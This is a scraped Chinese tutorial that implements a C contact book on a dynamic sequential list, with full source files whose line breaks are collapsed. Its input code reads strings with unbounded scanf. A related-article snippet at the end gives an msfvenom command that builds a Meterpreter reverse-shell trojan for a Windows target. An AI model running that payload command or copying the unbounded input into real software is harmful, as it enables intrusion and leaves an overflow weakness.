C語言.順序表.通訊錄

基于順序表示實現通訊錄

  • 1.通訊錄項目的功能要求
  • 2.代碼實現
  • 3.頭文件處理
  • 4.通訊錄的具體實現
    • 4.1通訊錄的初始化與銷毀
      • 4.1.1通訊錄的初始化
      • 4.1.2通訊錄的初始化銷毀
    • 4.2通訊錄的添加與刪除數據
      • 4.2.1通訊錄的添加數據
      • 4.2.1通訊錄的刪除數據
    • 4.3通訊錄的修改
    • 4.4通訊錄的查找
    • 4.5通訊錄的展示
    • 4.6對通訊錄進行封裝
  • 5.整體代碼展示

1.通訊錄項目的功能要求

  1. 至少能夠存儲100個人的通訊錄信息
  2. 能夠保存用戶信息:名字、性別、年齡、電話、地址等
  3. 增加聯系人信息
  4. 刪除指定聯系人
  5. 查找指定聯系人
  6. 修改指定聯系人
  7. 修改聯系人信息

2.代碼實現

  • 思考1:用靜態順序表和動態順序表分別如何實現
  • 思考2:如何保證程序結束后,歷史通訊錄信息不會丟失

3.頭文件處理

  1. 通訊錄的底層的數據結構是順序表(提供了許多的現成的方法:增刪查改等),所以需要包含 #include “SeqList.h”,包含順序表的頭文件,是為了調用SeqList.c 實現的增刪查改等方法。
  2. #include “Contact.h” :通訊錄頭文件,作用是聲明 Contact.c 中實現的方法。Contact.c 是通訊錄的方法實現文件。

基于順序表示實現通訊錄:

在這里插入圖片描述

4.通訊錄的具體實現

4.1通訊錄的初始化與銷毀

4.1.1通訊錄的初始化

//通訊錄的初始化
void ContactInit(Contact* con)
{//實際上是進行的是順序表初始化//順序表得初始化已經實現好了SLInit(con);
}

圖解:

在這里插入圖片描述

4.1.2通訊錄的初始化銷毀

//通訊錄的銷毀
void ContactDestroy(Contact* con)
{SLDestroy(con);
}

調用情況與初始化時一樣的。也是調用了 SeqList.c 中的 SLDestroy( )方法。

4.2通訊錄的添加與刪除數據

4.2.1通訊錄的添加數據

//通訊錄添加數據
void ContactAdd(Contact* con)
{//獲取用戶輸入的內容:姓名+性別+年齡+電話+地址peoInfo info;//定義printf("請輸入要添加的聯系人姓名:\n");scanf("%s", info.name);printf("請輸入要添加的聯系人性別:\n");scanf("%s", info.gender);printf("請輸入要添加的聯系人年齡:\n");scanf("%d", &info.age);printf("請輸入要添加的聯系人電話:\n");scanf("%s", info.tel);printf("請輸入要添加的聯系人地址:\n");scanf("%s", info.addr);//往通訊錄中添加聯系人數據SLPushBack(con, info);
}

圖解:

在這里插入圖片描述

4.2.1通訊錄的刪除數據

//通訊錄刪除數據
void ContactDel(Contact* con)
{//要刪除的數據必須存在,才能執行刪除操作//查找char name[NAME_MAX];printf("請輸入要刪除的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要刪除的聯系人數據不存在!\n");return;}//要刪除聯系人數據存在 -> 知道了要刪除的聯系人數據對應的下標SLErase(con, find);printf("刪除成功! \n");
}

圖解:
在這里插入圖片描述

4.3通訊錄的修改

//通訊錄的修改
void ContactModify(Contact* con)
{//要修改的數據必須存在,才能執行修改操作//查找char name[NAME_MAX];printf("請輸入要修改的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要修改的聯系人數據不存在!\n");return;}//直接修改 - 直接將之前的數據覆蓋掉printf("請輸入要新的名字:\n");scanf("%s", con->arr[find].name);printf("請輸入新的性別:\n");scanf("%s", con->arr[find].gender);printf("請輸入新的年齡:\n");scanf("%d", &con->arr[find].age);printf("請輸入新的電話:\n");scanf("%s", con->arr[find].tel);printf("請輸入新的地址:\n");scanf("%s", con->arr[find].addr);printf("修改成功!");
}

4.4通訊錄的查找

//通訊錄的查找
void ContactFind(Contact* con)
{//要查找的數據必須存在,才能執行查找操作//查找char name[NAME_MAX];printf("請輸入要查找的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要查找的聯系人數據不存在!\n");return;}//姓名 性別 年齡 電話 地址//11   11   11  11   11printf("%s %s %s %s %s\n", "姓名", "性別", "年齡", "電話", "地址");printf("%3s %3s %3d %3s %3s\n",//手調試一下格式con->arr[find].name,con->arr[find].gender,con->arr[find].age,con->arr[find].tel,con->arr[find].addr);
}

4.5通訊錄的展示

//展示通訊錄數據
void ContactShow(Contact* con)
{//表頭:姓名 性別 年齡 電話 地址 printf("%s %s %s %s %s\n", "姓名", "性別", "年齡", "電話", "地址");//遍歷通訊錄,按照格式化打印每個聯系人數據for (int i = 0; i < con->size; i++){printf("%3s %3s %3d %3s %3s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].addr);}
}

4.6對通訊錄進行封裝

#include "SeqList.h"void meun()
{printf("******************通訊錄******************\n");printf("*******1.增加聯系人   2.刪除聯系人********\n");printf("*******3.修改聯系人   4.查找聯系人********\n");printf("*******5.展示聯系人   0.退出     *********\n");printf("******************************************\n");
}
int main()
{int input = -1;Contact con;//通訊錄初始化ContactInit(&con);do{meun();printf("請選擇你的操作:\n");scanf("%d", &input);//根據對應的input執行不同的操作switch (input){case 1:ContactAdd(&con);break;case 2:ContactDel(&con);break;case 3:ContactModify(&con);break;case 4:ContactFind(&con);break;case 5:ContactShow(&con);break;case 0:printf("退出通訊錄.... \n");break;default:printf("輸入錯誤,請重新輸入:\n");break;}} while (input);//通訊錄的銷毀ContactDestroy(&con);return 0;
}

5.整體代碼展示

SeqList.h

#pragma once
#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include"Contact.h"//定義順序表的結構
//typedef int SLDataType;//方便后續類型的替換
typedef peoInfo SLDataType;//動態順序表
typedef struct SeqList
{SLDataType* arr;int size;//有效數據個數int capacity;//空間大小
}SL;//順序表初始化
void SLInit(SL* ps);//尾部插入
void SLPushBack(SL* ps, SLDataType x);//頭部插入
void SLPushFront(SL* ps, SLDataType x);//尾部刪除
void SLPopBack(SL* ps);//頭部刪除
void SLPopFront(SL* ps);//在指定位置之前插入數據
void SLInsert(SL* ps, int pos, SLDataType x);//在指定為位置刪除數據
void SLErase(SL* ps, int pos);//順序表的銷毀
void SLDestroy(SL* ps);

SeqList.c

#define _CRT_SECURE_NO_WARNINGS 1
#include "SeqList.h"順序表的打印
//void SLPrint(SL ps)
//{
//	//遍歷順序表
//	for (int i = 0; i < ps.size; i++)
//	{
//		printf("%d ", ps.arr[i]);
//	}
//	printf("\n");
//}//申請空間
void SLCheckCapacity(SL* ps)
{//再插入數據前,先看空間夠不夠if (ps->capacity == ps->size){//申請空間int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* tmp = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申請多大的空間if (tmp == NULL){perror("realloc fail!");exit(1);//直接退出程序}//走到這,證明申請空間成功ps->arr = tmp;ps->capacity = newCapacity;}
}順序表的查找
//int SLFind(SL* ps, SLDataType x)
//{
//	//遍歷順序表
//	assert(ps);
//	for (int i = 0; i < ps->size; i++)
//	{
//		if (ps->arr[i] == x)
//		{
//			//找到后,就返回下標
//			return i;
//		}
//	}
//	//遍歷一遍,沒有找到,就返回-1;(數組下標不能為負數)
//	return -1;
//}//順序表初始化
void SLInit(SL* ps)
{ps->arr = NULL;ps->capacity = ps->size = 0;
}//尾部插入
void SLPushBack(SL* ps, SLDataType x)
{assert(ps);//等價于assert(ps != NULL)//再插入數據前,先看空間夠不夠if (ps->capacity == ps->size){//申請空間int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* tmp = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申請多大的空間if (tmp == NULL){perror("realloc fail!");exit(1);//直接退出程序}//走到這,證明申請空間成功ps->arr = tmp;ps->capacity = newCapacity;}//進行尾插ps->arr[ps->size++] = x;
}//頭部插入
void SLPushFront(SL* ps, SLDataType x)
{assert(ps);SLCheckCapacity(ps);//先讓順序表中已有的數據整體往后移動一位for (int i = ps->size; i > 0; i--){ps->arr[i] = ps->arr[i - 1];}//頭部插入ps->arr[0] = x;//有效數據也得自增一位ps->size++;
}//尾部刪除
void SLPopBack(SL* ps)
{assert(ps);assert(ps->size);//有效數據不為空//直接使有效數據減少--ps->size;
}//頭部刪除
void SLPopFront(SL* ps)
{assert(ps);assert(ps->size);//數據整體往前移動一位for (int i = 0; i < ps->size - 1; i++){ps->arr[i] = ps->arr[i + 1];//arr[size-2] = arr[size-1]}//有效數據自減1ps->size--;
}//在指定位置之前插入數據
void SLInsert(SL* ps, int pos, SLDataType x)
{assert(ps);//pos的范圍要在順序表的size范圍之內assert(pos >= 0 && pos <= ps->size);//在插入數據前,看看順序表的空間夠不夠SLCheckCapacity(ps);//讓pos及之后的數據整體往后移動一位for (int i = ps->size; i > pos; i--){ps->arr[i] = ps->arr[i - 1];//}//空出pos位置,插入數據ps->arr[pos] = x;//有效數據自增1ps->size++;
}//在指定為位置刪除數據
void SLErase(SL* ps, int pos)
{assert(ps);assert(pos >= 0 && pos < ps->size);//遍歷順序表,讓pos之后的數據整體往前移動一位for (int i = pos; i < ps->size - 1; i++){ps->arr[i] = ps->arr[i + 1];}//有效數據自減1ps->size--;
}//順序表的銷毀
void SLDestroy(SL* ps)
{if (ps->arr)//等價于if(ps->arr != NULL){free(ps->arr);}ps->arr = NULL;ps->capacity = ps->size = 0;
}

Contact.h

#pragma once#define NAME_MAX 20
#define GENDER_MAX 10
#define TEL_MAX 20
#define ADDR_MAX 100
//定義聯系人數據 結構
//性別 性別 年齡 電話 地址
typedef struct personInfo
{char name[NAME_MAX];char gender[GENDER_MAX];int age;char tel[TEL_MAX];char addr[ADDR_MAX];
}peoInfo;//要用到順序表相關的方法,對通訊錄的操作實際就是順序表進行操作
//給順序表起一個名字,就叫通訊錄
typedef struct SeqList Contact;//s1//通訊錄 相關的方法//展示通訊錄數據
void ContactShow(Contact* con);//通訊錄的初始化
void ContactInit(Contact* con);//通訊錄添加數據
void ContactAdd(Contact* con);//通訊錄刪除數據
void ContactDel(Contact* con);//通訊錄的修改
void ContactModify(Contact* con);//通訊錄的查找
void ContactFind(Contact* con);//通訊錄的銷毀
void ContactDestroy(Contact* con);

Contact.c

#include "SeqList.h"
#include "Contact.h"int FindByName(Contact* con, char name[])
{//遍歷通訊錄for (int i = 0; i < con->size; i++)結構體地址傳參{if (strcmp(con->arr[i].name, name) == 0){//使用strcmp函數來進行對比,找到了return i;}}//沒有找到,就返回負數return -1;
}//展示通訊錄數據
void ContactShow(Contact* con)
{//表頭:姓名 性別 年齡 電話 地址 printf("%s %s %s %s %s\n", "姓名", "性別", "年齡", "電話", "地址");//遍歷通訊錄,按照格式化打印每個聯系人數據for (int i = 0; i < con->size; i++){printf("%3s %3s %3d %3s %3s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].addr);}
}//通訊錄的初始化
void ContactInit(Contact* con)
{//實際上是進行的是順序表初始化//順序表得初始化已經實現好了SLInit(con);
}//通訊錄添加數據
void ContactAdd(Contact* con)
{//獲取用戶輸入的內容:姓名+性別+年齡+電話+地址peoInfo info;//定義printf("請輸入要添加的聯系人姓名:\n");scanf("%s", info.name);printf("請輸入要添加的聯系人性別:\n");scanf("%s", info.gender);printf("請輸入要添加的聯系人年齡:\n");scanf("%d", &info.age);printf("請輸入要添加的聯系人電話:\n");scanf("%s", info.tel);printf("請輸入要添加的聯系人地址:\n");scanf("%s", info.addr);//往通訊錄中添加聯系人數據SLPushBack(con, info);
}//通訊錄刪除數據
void ContactDel(Contact* con)
{//要刪除的數據必須存在,才能執行刪除操作//查找char name[NAME_MAX];printf("請輸入要刪除的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要刪除的聯系人數據不存在!\n");return;}//要刪除聯系人數據存在 -> 知道了要刪除的聯系人數據對應的下標SLErase(con, find);printf("刪除成功! \n");
}//通訊錄的修改
void ContactModify(Contact* con)
{//要修改的數據必須存在,才能執行修改操作//查找char name[NAME_MAX];printf("請輸入要修改的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要修改的聯系人數據不存在!\n");return;}//直接修改 - 直接將之前的數據覆蓋掉printf("請輸入要新的名字:\n");scanf("%s", con->arr[find].name);printf("請輸入新的性別:\n");scanf("%s", con->arr[find].gender);printf("請輸入新的年齡:\n");scanf("%d", &con->arr[find].age);printf("請輸入新的電話:\n");scanf("%s", con->arr[find].tel);printf("請輸入新的地址:\n");scanf("%s", con->arr[find].addr);printf("修改成功!");
}//通訊錄的查找
void ContactFind(Contact* con)
{//要查找的數據必須存在,才能執行查找操作//查找char name[NAME_MAX];printf("請輸入要查找的聯系人姓名:\n");scanf("%s", name);int find = FindByName(con, name);if (find < 0){printf("要查找的聯系人數據不存在!\n");return;}//姓名 性別 年齡 電話 地址//11   11   11  11   11printf("%s %s %s %s %s\n", "姓名", "性別", "年齡", "電話", "地址");printf("%3s %3s %3d %3s %3s\n",//手調試一下格式con->arr[find].name,con->arr[find].gender,con->arr[find].age,con->arr[find].tel,con->arr[find].addr);
}//通訊錄的銷毀
void ContactDestroy(Contact* con)
{SLDestroy(con);
}

test.c

#include "SeqList.h"//通訊錄的測試方法
void ContactTest01()
{Contact con;//創建的通訊錄對象 實際上就是 順序表對象,等價于SL sl;//順序表的初始化ContactInit(&con);//通訊錄添加數據ContactAdd(&con);//ContactAdd(&con);展示通訊錄數據//ContactShow(&con);通訊錄刪除數據//ContactDel(&con);//ContactShow(&con);/*//通訊錄的修改ContactModify(&con);ContactShow(&con);*///通訊錄的查找ContactFind(&con);//ContactShow(&con);//通訊錄的銷毀ContactDestroy(&con);
}int main1()
{ContactTest01();return 0;
}void meun()
{printf("******************通訊錄******************\n");printf("*******1.增加聯系人   2.刪除聯系人********\n");printf("*******3.修改聯系人   4.查找聯系人********\n");printf("*******5.展示聯系人   0.退出     *********\n");printf("******************************************\n");
}
int main()
{int input = -1;Contact con;//通訊錄初始化ContactInit(&con);do{meun();printf("請選擇你的操作:\n");scanf("%d", &input);//根據對應的input執行不同的操作switch (input){case 1:ContactAdd(&con);break;case 2:ContactDel(&con);break;case 3:ContactModify(&con);break;case 4:ContactFind(&con);break;case 5:ContactShow(&con);break;case 0:printf("退出通訊錄.... \n");break;default:printf("輸入錯誤,請重新輸入:\n");break;}} while (input);//通訊錄的銷毀ContactDestroy(&con);return 0;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18429.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18429.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18429.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

熟悉電腦快捷鍵(包含部分VS)

有很多不太電腦的小白&#xff0c;這里給大家一些常用快捷鍵&#xff0c;希望幫助到大家學習~ ctrl c 復制&#xff08;保留原內容&#xff09; ctrl v 粘貼 ctrl x 剪切&#xff08;跟復制不一樣的地方在于原內容清空&#xff09; ctrl z …

【python】OpenCV—Tracking(10.2)

文章目錄 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三種背景分割器 K-Nearest&#xff1a;KNN Mixture of Gaussian&#xff08;MOG2&#xff09; Geometric Multigid&#xff08;GMG&#xff09; …

AURIX TC3xx單片機介紹-啟動過程介紹2

AURIX TC377,TC387,TC397用戶啟動程序流程 用戶啟動程序是在Boot Firmware之后運行的程序(即用戶程序里的第一級Boot Loader,類似Linux的Uboot),初始化過程是CPU0完成的。用戶可以根據不同的復位事件來選擇不同的執行路徑。 AURITX 2代芯片的主要啟動過程如下(該階段只…

WebGL學習(一)渲染關系

學習webgl 開發理解渲染關系是必須的&#xff0c;也非常重要&#xff0c;很多人忽視了這個過程。 我這里先簡單寫一下&#xff0c;后面盡量用通俗易懂的方式&#xff0c;舉例講解。 WebGL&#xff0c;全稱Web Graphics Library&#xff0c;是一種在網頁上渲染3D圖形的技術。它…

C++模板元編程--函數萃取

在C中&#xff0c;std::declval是一個非常有用的模板函數&#xff0c;它是標準庫<utility>頭文件的一部分。它的主要作用是在不創建對象的情況下&#xff0c;獲取該類型的引用&#xff0c;從而允許在編譯時表達式中使用該類型的成員函數或成員變量&#xff0c;即使沒有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一個元素。 比如你輸入一個列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引該列表最后一個值&#xff0c;你可以 b a[-1] print(b) 結果如下&#xff1a; 7 索引從左往右是…

P9712 「QFOI R1」貼貼

「QFOI R1」貼貼 題目描述 小 R 是一個可愛的女孩子&#xff0c;她希望通過給洛谷題目寫題解的方式跟出題人貼貼。 她發現&#xff0c;如果從題解界面點擊“提交題解”按鈕&#xff0c;博客中會自動生成 URL 標識符&#xff0c;也就是文章的鏈接。 其中&#xff0c;標識符的…

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…

python數據分析——分組操作1

參考資料&#xff1a;活用pandas庫 1、簡介 借助“分割-應用-組合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分組操作可以有效地聚合、轉換和過濾數據。 分割&#xff1a;基于鍵&#xff0c;把要處理的數據分割為小片段。 應用&#xff1a;分別處理每個數…

Linux shell編程學習筆記51: cat /proc/cpuinfo:查看CPU詳細信息

0 前言 2024年的網絡安全檢查又開始了&#xff0c;對于使用基于Linux的國產電腦&#xff0c;我們可以編寫一個腳本來收集系統的有關信息。對于中央處理器CPU比如&#xff0c;我們可以使用cat /proc/cpuinfo命令來收集中央處理器CPU的信息。 1. /proc/cpuinfo 保存了系統的cpu…

樹莓派開箱

1.樹莓派4B配置 CPU&#xff1a;64位1.5GHZ四核處理器。 GPU:Broadcom VideoCore VI500MHZ 藍牙5.0 電源Type C(5V 3A),也可以使用排針鏈接5V鋰電池最大放電電流必須達到3A。 還有千兆以太網等以后用到再說。 接下來進入文章重點 2.鏡像文件燒錄 前期準備&#xff1a;1…

「TypeScript系列」TypeScript 命名空間

文章目錄 一、TypeScript 命名空間1. 使用命名空間2. 命名空間與模塊的區別3. 總結 二、命名空間使用場景1. 防止命名沖突2. 組織和管理代碼3. 兼容其他庫或框架4. 大型項目中封裝功能模塊5. 總結 三、命名空間有哪些優缺點1. 優點&#xff1a;2. 缺點&#xff1a; 四、相關鏈接…

AI賦能數字人:打造與語音節奏完美匹配的高質量手勢動畫

在數字化時代,人機交互正以前所未有的速度進化,而AI數字人的發展正是這一進程中的重要里程碑。近期,一項旨在根據語音內容自動生成匹配手勢的技術方案引起了廣泛關注,該技術不僅增強了數字人的表現力,也為遠程溝通、教育、娛樂等多個領域帶來了革新性的應用潛力。本文將深…

【leetcode1944--隊列中可以看到的人數】

有n人排成一個隊列&#xff0c;從左到右編號為0到n-1&#xff0c;height數組記錄每個人的身高&#xff0c;返回一個數組&#xff0c;記錄每個人能看到幾個人。 類比&#xff1a;山峰問題&#xff0c;高的后面的矮的看不見。 從后往前&#xff0c;最后一個元素入棧&#xff0c…

Apifox 更新|編排模式、Markdown 編輯器升級、自動申請 SSL 證書、用戶反饋問題優化

Apifox 新版本上線啦&#xff01; 看看本次版本更新主要涵蓋的重點內容&#xff0c;有沒有你所關注的功能特性&#xff1a; 自動化測試新增「編排模式」Markdown 編輯器全新升級返回響應直接預覽 PDF 及視頻自動申請 SSL 證書支持配置自定義域名的子目錄流式接口支持篩選和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 圖像處理中最經典的邊沿檢測算法&#xff1a; Canny邊緣檢測_嗶哩嗶哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真

目錄 1.課題概述 2.系統仿真結果 3.核心程序與模型 4.系統原理簡介 5.完整工程文件 1.課題概述 基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真。 2.系統仿真結果 上面的仿真結果是無控制器和LQG的對比&#xff0c;以及有控制器和LQG的對比仿真。 3.核心程…